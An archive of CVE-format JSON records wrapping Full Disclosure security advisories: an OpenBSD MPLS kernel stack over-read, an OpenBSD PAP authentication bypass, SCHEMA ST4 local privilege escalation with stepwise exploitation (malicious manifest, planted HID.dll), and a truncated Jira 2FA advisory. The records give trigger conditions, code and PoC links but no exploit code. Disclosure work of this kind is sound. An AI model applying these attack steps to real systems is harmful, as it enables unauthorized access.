Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "mpls_do_error",
          "vendor": "Openbsd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "shj"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "------------------------------------------------------------------------\n\n------------------------------------------------------------------------\n\nAffected:\u00a0 OpenBSD -current prior to 2026-06-18 (fixed in -current)\nVendor:\u00a0 \u00a0 OpenBSD\nSeverity:\u00a0 Medium\nReporter:\u00a0 Argus Systems\nDate:\u00a0 \u00a0 \u00a0 2026-06-12\nCVE:\u00a0 \u00a0 \u00a0 \u00a0CVE-2026-56099\n\n\n1. SUMMARY\n==========\n\nThe mpls_do_error() function in sys/netmpls/mpls_input.c parses an\nincoming MPLS label stack into a fixed-size local array,\nstruct shim_hdr stack[MPLS_INKERNEL_LOOP_MAX] (16 entries). When the\nparse loop completes without encountering the Bottom-of-Stack (BoS)\nlabel, nstk reaches MPLS_INKERNEL_LOOP_MAX (16). Several subsequent\ncode paths then compute a copy length of (nstk + 1) * sizeof(*shim)\n-- 17 entries -- and use it with icmp_do_exthdr(), M_PREPEND(), and\nm_copyback() against the 16-entry stack object. This reads one\nstruct shim_hdr (4 bytes) past the end of the array, and that data is\nreflected back to the sender inside the generated ICMP/MPLS error\nresponse.\n\n\n2. AFFECTED VERSIONS\n====================\n\nThe (nstk + 1) length computations against the 16-entry stack[] array\nwere introduced with the ICMP/MPLS error path on 2010-09-13 (commit\n201d6983add, \"First shot at ICMP error handling inside an MPLS path.\nCurrently only TTL exceeded errors for IPv4 are handled.\"). The parse\nloop was bounded by MPLS_INKERNEL_LOOP_MAX (16), but nothing rejected\na stack that ran to completion without a BoS bit, so nstk could reach\n16 and the subsequent (nstk + 1) reads accessed stack[16].\n\nAffected: OpenBSD -current prior to 2026-06-18 (mpls_input.c pre\nv1.82).\n\n\n3. DETAILS\n==========\n\nVulnerable code (sys/netmpls/mpls_input.c, mpls_do_error):\n\n\u00a0 struct shim_hdr stack[MPLS_INKERNEL_LOOP_MAX];\u00a0 \u00a0/* 16 entries */\n\u00a0 ...\n\u00a0 for (nstk = 0; nstk \u003c MPLS_INKERNEL_LOOP_MAX; nstk++) {\n\u00a0 \u00a0 \u00a0 ...\n\u00a0 \u00a0 \u00a0 stack[nstk] = *mtod(m, struct shim_hdr *);\n\u00a0 \u00a0 \u00a0 m_adj(m, sizeof(*shim));\n\u00a0 \u00a0 \u00a0 if (MPLS_BOS_ISSET(stack[nstk].shim_label))\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 break;\n\u00a0 }\n\u00a0 /* no guard: with no BoS bit set, nstk == 16 here */\n\n\u00a0 shim = \u0026stack[0];\n\u00a0 ...\n\u00a0 case IPVERSION:\n\u00a0 \u00a0 \u00a0 ...\n\u00a0 \u00a0 \u00a0 if (icmp_do_exthdr(m, ICMP_EXT_MPLS, 1, stack,\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 (nstk + 1) * sizeof(*shim)))\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 return (NULL);\n\u00a0 \u00a0 \u00a0 ...\n\nMPLS_INKERNEL_LOOP_MAX is defined as 16 and sizeof(struct shim_hdr) is\n4. With nstk == 16, each of these copies 17 * 4 = 68 bytes from a\n64-byte stack[] object, reading stack[16] -- one struct shim_hdr (4\nbytes) of adjacent kernel stack -- and including it in the response.\n\nThe same (nstk + 1) length is later used to prepend and m_copyback()\nthe stack back onto the reflected packet:\n\n\u00a0 M_PREPEND(m, (nstk + 1) * sizeof(*shim), M_NOWAIT);\n\u00a0 ...\n\u00a0 m_copyback(m, 0, (nstk + 1) * sizeof(*shim), stack, M_NOWAIT);\n\nso the leaked entry also travels on the wire as the 17th MPLS shim\nheader of the returned frame.\n\n\n4. REACHABILITY\n===============\n\nThe path is reachable remotely via mpls_input() -\u003e mpls_do_error() on\nsystems that have MPLS enabled on an interface. The trigger is a\ncrafted MPLS frame (EtherType 0x8847) carrying 16 labels with no BoS\nbit set and an outermost label TTL of 1, so the TTL-exceeded error\npath is taken:\n\n\u00a0 mpls_input\u00a0 (ttl \u003c= 1)\n\u00a0 \u00a0 -\u003e mpls_do_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0)\n\nThe inner payload must be IPv4 so the IPVERSION branch is reached.\n\n\n5. IMPACT\n=========\n\nEach crafted packet leaks 4 bytes of kernel stack memory adjacent to\nthe stack[] array. The leak is carried in the ICMP/MPLS extension\nobject of the error response reflected back to the sender, so an\nattacker can harvest the leaked bytes.\n\n\n6. PROOF OF CONCEPT\n===================\n\nA Python/Scapy PoC sends a 16-label MPLS frame with no BoS bit set\nand an outermost label TTL of 1, then captures the reply. On a\nvulnerable kernel the reply carries 17 MPLS shim headers on the wire;\nthe 17th (stack[16]) is the leaked kernel stack data.\n\nPoC:\nhttps://pop.argus-systems.ai/attachments/poc-008-mpls-stack-leak.py\n\n\n7. FIX\n======\n\nFixed in -current by mvs on 2026-06-18. The fix adds a guard that\ndrops a label stack which runs to completion without a BoS bit, so\nnstk can no longer reach MPLS_INKERNEL_LOOP_MAX:\n\n\u00a0 if (nstk \u003e= MPLS_INKERNEL_LOOP_MAX) {\n\u00a0 \u00a0 \u00a0 m_freem(m);\n\u00a0 \u00a0 \u00a0 return (NULL);\n\u00a0 }\n\nFix commit (mpls_input.c v1.82):\nhttps://github.com/openbsd/src/commit/6a23123ec05f1eb29cfcaae0f3a468b2e1983cfd\n\n\n8. TIMELINE\n===========\n\n\u00a0 2026-06-12\u00a0 Reported to security () openbsd org with PoC\n\u00a0 2026-06-18\u00a0 Fix committed to -current\n\n\n9. CREDIT\n=========\n\nDiscovered and reported by Argus Systems (https://byteray.co.uk/).\n\n\n10. REFERENCES\n==============\n\nAdvisory:\n\u00a0 https://pop.argus-systems.ai/advisory/adv-040.html\n\nProof of concept:\nhttps://pop.argus-systems.ai/attachments/poc-008-mpls-stack-leak.py\n\nFix commit:\nhttps://github.com/openbsd/src/commit/6a23123ec05f1eb29cfcaae0f3a468b2e1983cfd\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:31:51Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/17"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/17"
        },
        {
          "url": "https://byteray.co.uk/"
        },
        {
          "url": "https://github.com/openbsd/src/commit/6a23123ec05f1eb29cfcaae0f3a468b2e1983cfd"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://pop.argus-systems.ai/advisory/adv-040.html"
        },
        {
          "url": "https://pop.argus-systems.ai/attachments/poc-008-mpls-stack-leak.py"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/17"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OpenBSD mpls_do_error: Remote Kernel Stack Disclosure via MPLS Label Stack Over-read",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-56099",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0320",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/17",
            "automated": true,
            "contentSha256": "e24b08f3e25ef3705050bb024d004359122d254f9f38f3497b113aec7f34dbd7",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/17",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T05:32:14Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0320"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T11:31:51Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0320"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "sppp_pap_input PAP",
          "vendor": "Openbsd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "shj"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "------------------------------------------------------------------------\nOpenBSD sppp_pap_input: PAP Authentication Bypass via Zero-Length bcmp\n------------------------------------------------------------------------\n\nAffected:\u00a0 OpenBSD all versions through 7.6 (fixed in -current)\nVendor:\u00a0 \u00a0 OpenBSD\nSeverity:\u00a0 High\nReporter:\u00a0 Argus\nDate:\u00a0 \u00a0 \u00a0 2026-06-16\n\n\n1. SUMMARY\n==========\n\nThe sppp_pap_input() function in sys/net/if_spppsubr.c uses the\nattacker-controlled name_len and passwd_len fields from the incoming\nPAP frame directly as the comparison length for bcmp() against\nconfigured credentials.\n\nWhen both fields are set to zero, bcmp() returns 0 unconditionally\n(bcmp with length 0 always succeeds). The existing upper-bound guard\n(\u003e AUTHMAXLEN) allows zero through. As a result, a PAP Auth-Request\nwith name_len=0 and passwd_len=0 passes credential validation and\ntriggers a PAP_ACK, authenticating the peer without any knowledge of\nthe configured username or password.\n\nA secondary kernel heap over-read exists via the same root cause:\nsupplying a name_len larger than the allocation of the stored\ncredential causes bcmp to read past the heap object.\n\n\n2. AFFECTED VERSIONS\n====================\n\nThe bcmp comparison pattern was introduced with the original sppp\ncode import on 1999-07-01 (commit bda3414e, \"lmc driver; ported by\nchris () dqc org\"). The zero-length bypass has been exploitable since\nthat date.\n\nIn February 2009 (commit 9c2f3d605fc), auth credential fields were\nchanged from fixed-size struct arrays to dynamically allocated\nmalloc(strlen()+1), and the bounds check was changed to\n\u003e AUTHMAXLEN (256). This decoupled the allocation size from the\ncomparison bound, enabling the heap over-read.\n\nConfirmed against OpenBSD 7.6 (amd64) in QEMU/KVM.\n\n\n3. DETAILS\n==========\n\nVulnerable code (sys/net/if_spppsubr.c, sppp_pap_input):\n\n\u00a0 if (name_len \u003e AUTHMAXLEN ||\n\u00a0 \u00a0 \u00a0 passwd_len \u003e AUTHMAXLEN ||\n\u00a0 \u00a0 \u00a0 bcmp(name, sp-\u003ehisauth.name, name_len) != 0 ||\n\u00a0 \u00a0 \u00a0 bcmp(passwd, sp-\u003ehisauth.secret, passwd_len) != 0) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 /* authentication failed */\n\nname_len and passwd_len are parsed directly from the PAP frame\npayload. bcmp(a, b, 0) always returns 0. The \u003e AUTHMAXLEN guard\nrejects values above 255 but permits zero.\n\nThe CHAP handler in the same file already had the correct pattern\nwith an exact-length pre-check:\n\n\u00a0 if (name_len != strlen(sp-\u003ehisauth.name)\n\u00a0 \u00a0 \u00a0 || bcmp(name, sp-\u003ehisauth.name, name_len) != 0) {\n\nThe PAP handler never received the same treatment.\n\n\n4. REACHABILITY\n===============\n\nBoth bugs are reachable via the PPPoE data path:\n\n\u00a0 pppoe_data_input -\u003e pppoeintr -\u003e sppp_input -\u003e sppp_pap_input\n\nPrecondition: the target system must be configured as a PAP\nauthenticator (e.g. ifconfig pppoe0 peerproto pap peername \u003cx\u003e\npeerkey \u003cy\u003e). The attacker does not need to know any credentials.\n\n\n5. IMPACT\n=========\n\nAn attacker on the same network segment can authenticate to a PPPoE\ninterface without credentials, establishing a full network-layer\nlink (LCP -\u003e PAP -\u003e IPCP -\u003e IP).\n\nWhen OpenBSD acts as a PPPoE client with mutual authentication, a\nrogue server in the same broadcast domain can exploit the bypass to\nimpersonate a legitimate server, causing OpenBSD to route traffic\nthrough the attacker\u0027s endpoint.\n\n\n6. PROOF OF CONCEPT\n===================\n\nA Python PoC acts as a PPPoE server, completes discovery and\nLCP negotiation, then sends a PAP Auth-Request with name_len=0 and\npasswd_len=0.\n\nResult:\n\n\u00a0 PAP_ACK received with empty credentials\n\u00a0 VM accepted name_len=0, passwd_len=0 as valid auth.\n\n\u00a0 IPCP Config-Ack received - link is UP\n\u00a0 ICMP echo reply from 10.0.0.1\n\n\u00a0 FULL LINK ESTABLISHED\n\nPoC and full technical report:\n\u00a0\u00a0https://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html\n\n\n7. FIX\n======\n\nFixed in -current by mvs on 2026-06-14. The fix mirrors the CHAP\nhandler\u0027s exact-length pre-check:\n\n\u00a0 if (name_len != strlen(sp-\u003ehisauth.name) ||\n\u00a0 \u00a0 \u00a0 passwd_len != strlen(sp-\u003ehisauth.secret) ||\n\u00a0 \u00a0 \u00a0 bcmp(name, sp-\u003ehisauth.name, name_len) != 0 ||\n\u00a0 \u00a0 \u00a0 bcmp(passwd, sp-\u003ehisauth.secret, passwd_len) != 0) {\n\nFix commit:\nhttps://github.com/openbsd/src/commit/076e2b1c1fc4ac0883a72d3544131ad5cee7adf8\n\n\n8. TIMELINE\n===========\n\n\u00a0 2026-06-12\u00a0 Reported to security () openbsd org with PoC\n\u00a0 2026-06-14\u00a0 Fix committed to -current\n\n\n9. CREDIT\n=========\n\nDiscovered and reported by Argus (https://byteray.co.uk/).\n\n\n10. REFERENCES\n==============\n\nAdvisory:\n\u00a0 https://pop.argus-systems.ai/advisory/adv-038.html\n\nBlog post:\nhttps://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html\n\nProof of concept:\n\u00a0 https://pop.argus-systems.ai/attachments/poc-001-pap-bypass.py\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:31:48Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/15"
        },
        {
          "url": "https://blog.argus-systems.ai/blog/openbsd-pap-27-year-auth-bypass.html"
        },
        {
          "url": "https://byteray.co.uk/"
        },
        {
          "url": "https://github.com/openbsd/src/commit/076e2b1c1fc4ac0883a72d3544131ad5cee7adf8"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://pop.argus-systems.ai/advisory/adv-038.html"
        },
        {
          "url": "https://pop.argus-systems.ai/attachments/poc-001-pap-bypass.py"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OpenBSD sppp_pap_input: PAP authentication bypass",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0362",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/15",
            "automated": true,
            "contentSha256": "e9970fb07c7e498304d6f1ffb1e4aa8eb8fc2d3e988893327f0a72abe1bfbdc1",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-16T19:27:44Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:57Z",
    "dateUpdated": "2026-09-11T11:31:48Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0362"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Content Solutions - SCHEMA ST4",
          "vendor": "Quanos",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260617-1 \u003e\n=======================================================================\n              title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Quanos Content Solutions - SCHEMA ST4\n\u00a0vulnerable version: All versions of SCHEMA ST4 on-premises\n  \u00a0 \u00a0 fixed version: Not applicable, see workaround section for mitigation.\n         CVE number: CVE-2026-11857, CVE-2026-11858\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://quanos.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-12-19\n                 by: J. Kruchem (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SCHEMA ST4 is a component content management system for the professional\ncreation of technical documentation. SCHEMA ST4 is one of the most widely\nused software solutions of its type and makes the entire creation process\neasier and more efficient, saving costs in many areas.\"\n\nSource:https://quanos.com/en/products/schema-st4/\n\n\nBusiness recommendation:\n------------------------\nThe vendor does not provide a patch but a workaround which requires\ntheir customers to disable the affected \"Client Update Service\". Updating\nthe client is then only possible manually with a privileged user account.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)\nA local privilege escalation vulnerability exists in SCHEMA ST4 due to insecure\ndeserialization in the .NET Remoting service.\n\nThe service is configured with TypeFilterLevel.Full and bound to local interfaces\nonly (named pipes), allowing a local authenticated attacker to send specially crafted\nobjects. This leads to arbitrary code execution in the context of the update process\nwith the highest SYSTEM rights. Local host access with an authenticated user session\nis required for successful exploitation. Network-only exploitation is not possible.\n\n2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)\nThe SCHEMA ST4 Update Service acts as a privileged helper component running as\nNT Authority\\SYSTEM to perform file operations requiring elevated rights.\n\nHowever, it exposes a .NET Remoting interface over a Named Pipe without sufficient\naccess controls or authentication. This allows any local low-privileged user to\nconnect and invoke methods like Update(), resulting in arbitrary file\nwrite/delete operations with SYSTEM privileges. This ultimately leads to local\nprivilege escalation.\n\n\nProof of concept:\n-----------------\nThe following steps can be taken in order to exploit the identified security issue\nin the updater service.\n\n1) .NET Remoting Local Privilege Escalation Vulnerability (CVE-2026-11857)\n1.1) Connect to Name Pipe\nInvoking NamedPipe.ConnectToPipe(\"ST4Updater2\") and sending pipe.Write(\"init\")\nreturns a port which is used for .NET Remoting. Only local exploitation is\npossible.\n\n1.2) Send .NET Remoting payload\nUse the ExploitRemotingService by James Forshaw (https://github.com/tyranid/ExploitRemotingService)\nto achieve arbitrary code execution.\n\n\n2) Arbitrary File Overwrite Vulnerability (CVE-2026-11858)\n2.1) Connect to Named Pipe\nInvoking NamedPipe.ConnectToPipe(\"ST4Updater2\") and sending pipe.Write(\"init\")\nreturns a port which is used for .NET Remoting.\n\n2.2) Get .NET Remoting Object\nGet remote object tcp://127.0.0.1:\u003cport\u003e/UpdateProcessCore\n\n2.3) Create Manifest\nAn essential part of the exploit is creating a Manifest.rdf containing e.g.\nDirectory \".\" and file exploit.exe:\u003csomething like md5\u003e (is not checked).\nThe Manifest needs to be zlib-compressed and be served via HTTP.\n\n2.4) Create Payload\nCreate a zlib-compressed file (e.g. .exe, .msi, .dll, ...) name it to\nyour choosing like \u003ce.g. md5\u003e and put it into the HTTP root (like\nthe Manifest).\n\n2.5) Invoke Update() from remote .NET object\nUse the object from 2.2) and provide proper arguments.\nUse \"Newer\" for writing files as system (same name will be deleted beforehands)\nUse \"Remove\" for deleting files and/or directories (depending on Manifest)\n\nExample:\n[ Proof of Concept example removed ]\n\n2.6) Privilege Escalation\nTo achieve privilege escalation e.g. write a custom HID.dll using the exploit to\nC:\\Program Files\\Common Files\\microsoft shared\\ink\\ then open the Microsoft\non-screen keyboard in a security context (e.g. CTRL + ALT + ENTF). The custom\ncommands are executed with SYSTEM privileges.\n\n[ ST4Updater.png ]\nFigure 1: Proof of concept\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested:\n* 12.0.4.0 ST4 2022 SP4 (1d4a0bde) ??? SCHEMA ST4 12.4 build 2023.02.21-1d4a0bde\n\nAccording to the vendor, all versions of SCHEMA ST4 on-premises are affected.\nThe Cloud/SaaS deployments of SCHEMA ST4 are not affected. The Client Update\nService has been removed in the cloud architecture according to the vendor.\n\n\nVendor contact timeline:\n------------------------\n2025-12-19: Contacting vendor throughinfo () quanos com; no response\n2026-01-13: Contacting CISO through LinkedIn. Response after 1 Minute (at 7 pm).\n2026-01-14: Sending more details via email tosecurity () quanos com;\n            Vendor answers that they will analyze our information and will get\n            back to us.\n            Asking the vendor how we should submit our security advisory.\n2026-01-22: Vendor responds that the architecture of ST4 is by design and only\n            exploitable within the on premises version of ST4 (not cloud/SaaS).\n            Provides a workaround to disable the client update service.\n2026-01-23: Updating our advisory regarding workaround, recommending to patch\n            the issue, as also .NET remoting can be exploited. Asking whether\n            the on premises version is EOL.\n2026-01-28: Vendor responds to clarify our questions internally.\n2026-02-09: Asking for a status update.\n2026-02-10: Vendor is still waiting for an internal response.\n2026-03-05: Asking for a status update.\n2026-03-10: Vendor is still in internal clarification process.\n2026-03-20: Vendor provides detailed explanation regarding \"Client Update \"Service\",\n            which already got removed in the Cloud/SaaS solution, on-premises exploitation\n            is impossible in properly managed environments according to the vendor.\n            As a workaround, the Update Service should be disabled. The .NET Remoting\n            part only communicates in a closed VPC network within the Cloud solution.\n            An attacker already needs LAN access for the on-premises version and exploitation\n            is therefore limited according to the vendor. Vendor suggests to include\n            their assessment of the case in our advisory.\n2026-03-20: Response to the vendor that the attack path for the \"Client Update Service\"\n            is to escalate privileges from a low-privileged user to admin. In order to\n            exploit .NET Remoting, host access is also required. Asking for affected\n            versions and whether no update will be provided except the workaround.\n2026-04-08: Vendor responds with affected versions and details on workaround\n            implications for end users\n2026-06-10: Informing vendor about upcoming release for 16th June, providing reserved\n            CVE numbers.\n2026-06-12: Vendor responds that they will provide feedback on 15th June.\n2026-06-15: Asking the vendor regarding the feedback, as we did not receive it (late\n            afternoon). Vendor responds that they are still working on the feedback.\n            Vendor submits feedback in the evening.\n2026-06-16: Responding to feedback, adjusted advisory.\n2026-06-17: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor does not provide a patch but a workaround which requires\ntheir customers to disable the \"Client Update Service\". Updating the client\nis then only possible with a privileged user account.\n\nThe vendor provided the following statement:\n\"Quanos confirms that exploitation requires local host access with an\nauthenticated user session. In properly managed environments following the\nLeast Privilege principle, the attack surface is significantly reduced.\nQuanos Cloud/SaaS deployments are not affected. Quanos considers the\nmigration to the Cloud/SaaS architecture the strategic long-term solution.\"\n\n\nWorkaround:\n-----------\nDisable the \"Client-Updateservice\" until a fix is provided.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:31:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/20"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://github.com/tyranid/ExploitRemotingService"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://quanos.com/"
        },
        {
          "url": "https://quanos.com/en/products/schema-st4/"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260617-1 :: Multiple Vulnerabilities in Quanos Content Solutions - SCHEMA ST4",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-11857",
              "type": "related"
            },
            {
              "destId": "CVE-2026-11858",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0369",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/20",
            "automated": true,
            "contentSha256": "ea5956e54077d750b908be7c84ab2859939c89d63375abf670487dd7fbbd170b",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-17T11:31:26Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0369"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:31:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0369"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Secure Login (2FA) for Atlassian Jira /",
          "vendor": "Syracom Ag",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260616-0 \u003e\n=======================================================================\n              title: Broken Access Control\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: syracom AG Secure Login (2FA) for Atlassian Jira /\n                     Confluence / Bitbucket\n\u00a0vulnerable version: 3.4.0.x\n\u00a0 \u00a0 \u00a0 fixed version: 3.5.0.0\n         CVE number: CVE-2026-12225\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n           \nhomepage:https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter\u0026tab=overview\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-02-27\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Laurentius von Oppenkowski (Office Munich)\n                     Timo M\u00fcller (Office Munich)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The ORIGINAL: Strong Security via 2FA auth. for Confluence, 